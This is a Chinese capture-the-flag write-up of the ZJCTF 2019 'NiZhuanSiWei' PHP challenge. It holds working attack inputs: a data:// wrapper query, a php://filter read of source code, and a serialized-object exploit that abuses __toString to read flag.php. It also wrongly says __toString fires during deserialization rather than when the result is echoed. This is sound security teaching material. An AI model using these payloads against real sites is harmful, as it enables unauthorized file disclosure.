[ZJCTF 2019]NiZhuanSiWei

知识点

反序列化
伪协议

审题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

非常简洁的题目 只给了你代码 代码较短稍微分析一下 首先三个get请求分别传参 然后如果传入的text不为空 那么file_get_contents到text的内容必须是welcome to the zjctf 这要求我们通过get传参给写入一个文件 很显然是要用伪协议了
data协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

后面那一串是welcome to the zjctf的base64 题目给了个Hint 让我们查看useless.php 直接file=useless.php没有回显 尝试一下在用一次filter伪协议读 读出来了一串base64 解密之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这部分就是一个可以利用的类 我们可以利用file_get_content函数传一个flag参数 但是我们传的file参数里面 如果含有flag 会被check到 似乎是一个矛盾的问题

__tostring的调用

这道题主要是考察魔术方法__tostring 这个函数虽然天天见 但其实没那么简单 贴上一个小例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Person{
private $name = "";
private $age = 0;
public function __construct($name = "", $age = ""){
$this->name = $name;
$this->age = $age;
}
function say(){
echo "name:".$this->name."<br/>"."age:".$this->age."<br/>";
}
}
$p1 = new person("sjyyds",20);
echo $p1;

如果我们直接执行这样的一个php文件 会报错:Object of class Person could not be converted to string 这个错都看得懂 如果我们在刚刚的类里面加上这样一个函数 就不会报错了

1
2
3
public function __toString(){
return "I am Person,my name is ".$this->name."<br/>";
}

如果不加上这个__tostring 单纯的把上一步的echo $p1给删了 程序也是对的 我们发现 在实例化并打印一个对象的时候 是需要__tostring这个函数的 或者说__tostring是会自动调用的

解题

就很好理解了 我们在反序列化password的时候 在后端这个__tostring是会在反序列化的同时被调用的 而我们就可以利用里面的file_get_contents来拿到flag 贴上最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php  

class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

$a = new Flag;
echo serialize($a);
?>

拿到flag

EOF

P.S.隔了好久没做web的题了 中间都在做取证 真的感觉忘了好多QAQ